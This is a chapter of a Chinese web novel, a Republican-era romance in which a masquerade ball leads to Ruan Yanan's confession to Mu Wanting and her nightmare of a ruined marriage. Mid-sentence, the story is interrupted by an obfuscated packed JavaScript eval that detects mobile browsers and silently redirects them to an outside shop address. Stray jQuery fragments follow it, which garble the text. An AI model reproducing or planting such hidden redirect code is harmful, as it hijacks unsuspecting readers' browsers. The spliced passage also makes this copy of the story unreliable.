大厅水晶吊灯下,舞台上的歌女用动人的歌喉吟唱着《夜来香》,乐队为她伴奏,人们随着乐曲节奏律动,举杯觥筹交错......
方如在人群中穿梭找纯黑色面具的弥野。刚刚在台上远眺,弥野给的木晚亭的画像太过于笼统,她在人群找了三圈都没找到。藕荷色丝绸旗袍的女子实在是有好几个,难以确认。木晚亭的面具样式弥野没打听到,当务之急是先得跟他汇合,不能出错。
她有些尴尬,一路上不断有陌生的宾客跟她搭话,废了好一番功夫才脱身,正到一个角落的甜品吃了一个凤梨酥,肩膀被人一拍,手里的酒杯差点落地,回头,是带着黑色面具的弥野。
“呼,吓死我了!你能不能别这么神出鬼没的,这身体弱!"方如拍拍胸口平复心跳。
弥野不语,压着声音,嗓音低低的笑,有点喑哑却格外性感。方如从信中得知,他已处理完青芜那边的事情就来找她,却刚好撞见小黑送方如穿越,放心不下就跟了过来,魂穿到了这个在冬天冻死的小乞儿“顾准"身上,小黑时间线有问题,导致他穿来的时间线比方如早半年,然后他利用这些时间做了一些“前期准备”,具体什么准备弥野没有细说,但方如猜测就是从小乞儿变成彦龙城义子这些事情吧。
舞会的光线忽明忽暗,灯光闪烁氛围感十足。两人靠得很近,她抬头就扫到弥野这幅名叫“顾准”身子的喉结上下滚动,方如视线闪躲,耳根发红,抿了抿嘴唇,后退一步。
方如生硬转移话题道:“你知道木晚亭是哪一位吗?”
“跟着阮雅南就能找到。”弥野拿起刚刚方如吃的甜品尝了一口,味道一般,没方如做的好吃。
“跟我便宜哥哥有关?”她疑惑转头望向阮雅南的方向。
阮雅南穿深灰西装,戴一副银色全脸面具,只露出下颌和嘴唇。
不知彦龙城跟他说了什么,阮雅南神色大变,招来心腹,慌慌张张嘱咐了几句,正欲匆匆告辞上楼处理事情。
扭头随意一瞥,突然顿住。隔着茫茫人海,却一眼就见到了那魂牵梦绕的身影——木晚亭今天身穿藕荷色旗袍,颜色更衬得人肤白如藕节,身段极好。淡绿色缀珍珠的面具,站在露台边,不知在想什么。阮雅南不敢上前,他每次想走近,脚就像钉在地上。
木晚亭于阮雅南而言,是那天边的月亮,可望而不可及。她留洋三年,他写了三百六十五封信,一封也没寄出去。
等来的是一封决绝的退婚书和这些年送去的所有首饰和礼物,所有心意都没有被接受。他就是一只如何摇尾乞怜也不会被她接受的小狗。
像梦一般的,木晚亭露出了从未有过的活泼表情,像一只可爱的兔子一样蹦过来,拉起阮雅南的手就往花园跑去,阮雅南心怦怦直跳,任由木晚亭拉拽,脚步轻飘飘的,如在云端漫步。
方如恰好看到往花园走的两人,摸不清情况,悄悄跟上。
*
花园里,雨后桂花落了一地,满院飘香。阮家花园西侧回廊尽头的假山旁,挂着几盏花灯,光线昏黄,一高一低两个人影,交错投在假山上。
十年了,这是木晚亭第一次找她,压下心里的狂喜,他静静等着木晚亭说话。此刻,阮雅南只觉得无限的幸福,他祈求时间能过得更慢一些,冻结在此刻,两人就静静相望,就很好。
但木晚亭语出惊人,还带着点急切、委屈和哭腔。“阿卓,我们私奔吧,家里人硬逼我嫁给阮雅南。我细数了我的私房钱,应该够你的学费和我们生活了!”
阮雅南心中了然,自嘲一笑,没被拉住的左手握拳又松开,微微颤抖。原来是她认错人了。也对,木晚亭从未对他有过好脸色,虽然自己每次回想反思都没有得罪她之处,或许,讨厌一个人、和喜欢一个人一样,都是没有理由的。而他恰好是被讨厌的那个。
他声音有些沙哑,“木小姐,您认错人了。鄙人、阮雅南。"如果可以,他真想一木仓崩了陈卓。
躲在假山后面的方如先是震惊,阮雅南居然就是木晚亭原先那个权势滔天的未婚夫!那小黑把她魂穿到他妹妹身上确实也是用心良苦了,回家得好好奖励他。
其次就是心下一酸,这便宜哥哥太惨了吧,亲口听到自己未婚妻说要跟其他男人私奔,不管阮雅南是否喜欢木晚亭,但阮雅南也是金陵城有头有脸的商界翘楚,这完全是把他的脸面按在地上蹂躏,简直是不可忍。方如有点不敢看了,听张阿姨说,方如猜测阮雅南能这么快速遏制住老家那些老狐狸,手段也非同一般,不知道他会怎样对待木晚亭。不行,方如得出去缓和一下两人关系。
脚还没迈出去,就被不知从哪里冒出来的弥野拉住。
她看着木晚亭慌忙甩开阮雅南的手,阮雅南盯着自己的手发呆,“快放开,阮雅南不会是想打女人吧!我得去阻止。”
“别去,他爱惨了,怎么舍得打。"
方如:“????”她是错过了什么关键剧情?她再次确认:“你是说,阮雅南爱惨了木晚亭?”
见方如不信,弥野丢给她一封信,她快速扫过。开头是致晚亭,结尾署名阮雅南。邮票都贴好了,但地址是空的,但看样子并没有寄出去。
“阮雅南书房还有上百封。”
方如嘴巴大张成o型,震惊jpg。
再探头望过去,木晚亭恢复了大家闺秀疏离、客气的状态,祈求阮雅南别说出去,一味的道歉,正欲告辞。
阮雅南望着木晚亭离去的背影,眼眶发红,他不知道该如何挽留,心痛如刀绞。
方如适时出现,冲过去推了他一把,给了便宜哥哥一个鼓励的眼神,“加油!”木晚亭和你的幸福都在你手上了,勇敢南哥不怕困难,冲冲冲!弥野看着两人有些好笑,不过还是给阮雅南用了一个吐露真言术。
术法立马见效。阮雅南叫住木晚亭,木晚亭回头看他,隔着面具,只看见小鹿似的水汪汪大眼睛忽闪忽闪,看着这双眼,怎么也生不起气来。
他看着木晚亭耳朵上那副白玉耳坠,是他拖朋友从南洋带来的,突然鼓起勇气。
阮雅南喉结动了动:"晚亭……"他深吸一口气,不能再退缩了。十年了,再缩下去,人就没了。
"晚亭,"阮雅南鼓起勇气开口,他取下面具,表情郑重,声音有些颤抖,"接下来的话恕我唐突,先告罪。你能不退婚吗,能不能好好考虑一下我,我阮雅南,26岁,念过大学,正经工作,有稳定收入。父母早逝,家中仅有一乖巧懂事的妹妹。你若嫁我,我定不负你,家中事务除了妹妹,皆由你做主。"
阮雅南一气呵成,像演练过无数次,木晚亭被这连珠炮的话语砸得有些混乱,她转移视线,不敢看阮雅南灼热的目光。
花园很静,布谷鸟的叫声显得格外清晰。木晚亭不知该如何回应,但教养趋势她也取下面具,语气有些无措:“对不起,现在这个新时代我们可以不遵守父母之命和媒妁之言了,婚约取消不是对我俩都好吗?何必执着呢,阮先生。您是金陵闺秀们的梦中情人,大可追寻您自己的爱情。”
“可你就是我的爱情。”阮雅南一个大跨步靠近木晚亭,她有些慌乱的在他脸上寻找开玩笑的证据,但只看到了认真与深情。
木晚亭退一步,阮雅南大步追上,直到木晚亭被逼至墙角退无可退,二人四目相对静的能听到彼此的声音。
“太近了。”木晚亭想,除了陈卓偶尔牵手,抱一下,也都只是发乎情止于礼,她还没跟任何男生有这么近的距离。她不敢动弹,心乱如麻。她闻到了阮雅南身上好闻的墨香和皂角的清香味,原来男人也有爱干净的呀。
思绪发散飘远。
她不由联想到陈卓身上总是烟味和汗味交织,每当木晚亭用手帕捂鼻子催陈卓去洗时,陈卓总是嬉笑着揽过她,说这是正常的,是男人的味道,要把她也染上。
他顿了顿,声音低下去:"我这辈子要是能娶到你,少活十年都值。"他低头循着本能凑近,认真看着心上人,灯的光照亮那张脸——温婉,清丽,眼睛里全是眼泪。
“可,阮先生,我俩并不熟。而且我已经有了心爱之人,一切都晚了。"木已成舟,她只觉得被阮雅南浓烈的爱意压得无法喘息,和不知道该怎么办。
她绕过阮雅南,落荒而逃。
阮雅南没有追,吐露真言术失效,他觉得自己今天很奇怪,不过,说出来,也再无遗憾了。
而对于木晚亭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17829458|208838||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
而言,阮雅南突如其来的告白,就像一颗不听话的石子,强势落入了原本平静的湖面,留下的潋滟,持久无法散去。
*
回到木家之后,木晚亭收到了两大箱阮雅南妹妹阮雅音寄来的东西,她对阮雅音印象很好,记忆里这个妹妹总是躺在床上虚弱但是很友好的朝着她甜甜的笑,小时候够架子上的连环画意外打碎了阮伯伯家的花瓶被父亲责备时,也是这个满脸苍白的阮妹妹推着自己的轮椅替她揽过责任,木晚亭一直很感谢。听说阮雅音病好了,木晚亭也是由衷的高兴,送了好几箱西洋玩意儿,陈卓还心疼的说教她,嫌她败家。
“在街上随便买个东西糊弄过去不就好了”。陈卓的声音在她脑中响起,木晚亭晃了晃脑袋,最近怎么总想到陈卓这些不好,是被“金陵少女的梦中情人”阮雅南的甜言蜜语砸晕了吗,木晚亭有些愧疚。
她打开木箱子,第一箱是退婚书和她退回阮家的那些礼物,又原封不动的回到了她手里。只不过这一次多了一封信,信上还用钢笔画着四叶草,阮雅音写给她的,大意是希望她好好考虑当她嫂子这件事,阮家的大门永远为她敞开,阮雅音和她哥哥都很喜欢木晚亭,打趣说哥哥暗恋木晚亭十年,愿她好好考虑婚恋大事。虽只字不提陈卓,却附上了一张陈卓在“百乐门"大厅搂着几个貌美小姐、笑得如沐春风的照片。
木晚亭直愣愣的看了这张照片半天,泪如断了线的珠子,无声的流。她擦干泪,包好照片,递给管家,让他请人辨明真伪,但心里却以信了大半,身心俱疲。无心再拆阮雅音寄来的第二个箱子。
当晚,木晚亭就发烧了。连着好几天,昏睡不醒,迷迷糊糊,不断的做一些光怪陆离的怪梦,梦中都是重复的故事。木晚亭异常痛苦,梦里的故事真实的如发生过一样。
她梦到:先是逃婚和陈卓私奔。
再是陈卓赌博、招小姐,败光她所有的嫁妆。
她委曲求全,为陈卓的工作挺着大肚下跪求父亲,父亲以断亲为由阻止无果,心碎妥协。再后来无奈去世。
陈卓死性不改变本加厉、他家暴、她流产数次。
最后,外敌来犯,金陵陷落,随陈卓医院远赴西南,陈卓事业小成膨胀。在她孕期要纳二房,指责她善妒,逼她妥协,木晚亭坚决和他离婚,独自生下儿子,但精神打击过,她疯了,整天浑浑噩噩,时而清醒、时而疯癫。在喂奶时,差点把年幼的儿子呛死,清醒时又愧疚自责。饥荒到来,她把儿子托付给邻居,自己孤独死去,无人收尸,成为一捧黄土。
她是带着怨恨死去的,她诅咒陈卓千千万万遍,他是她一切痛苦的源头。作为一缕幽魂,带着无尽的怨怼在人间飘荡数年,看着陈卓和新的妻子儿女双全,家庭美满。
反观自己的小儿子。他被同学嘲笑,被欺负,差点被打死,儿子在夜里痛哭流泪,嘶吼着不想被生下来,她多么想抱抱他,亲亲他,保护他,却无能为力,只能静静地看着,无力的诅咒。可,她的一切诅咒都没有奏效,因果报应从未到来。
再后来,满头白发阮雅南出现了,听旁人说他找了她多年,但他们并不相熟,木晚亭只当她人好,万分感谢。他带走了她唯一的儿子木子俊,把他送回了木家,送给她同父异母的亲哥哥照料,儿子有了居身之所,木晚亭怨气散了一些,阮雅南还在金陵给她立了衣冠冢。最后的画面是她飘在阮雅南立好的墓碑面前,看着阮雅南在雨中跟他的墓碑说话,浑浊的眼里是无尽的悲伤,听说他终生未婚。心如死水的木晚亭从未细想其中缘由,就这样看着阮雅南,身体和意识慢慢消散。
木晚亭醒来后,心绪久久未平。只陈天对着窗外的桂花树发呆,急得木父招了好几个驱邪的道士前来做法,却也无济于事。
陈卓多次悄悄给木晚亭的奶妈递信道歉,夹带着不少不值钱的小玩意儿,信中无非就是多番解释假面舞会当天未来的缘由,还多番诉苦经济困难,暗自打听木晚亭的私房钱。木晚亭让管家将陈卓捎来的东西连同以前珍藏的全部烧掉,灰烬也交由道士处理。她期间每每想起陈卓都顿觉恶心干呕不止,嘱咐奶妈再也别提陈卓,也别收任何他的东西。
还跟木父痛哭认错,父女两关系终归缓和。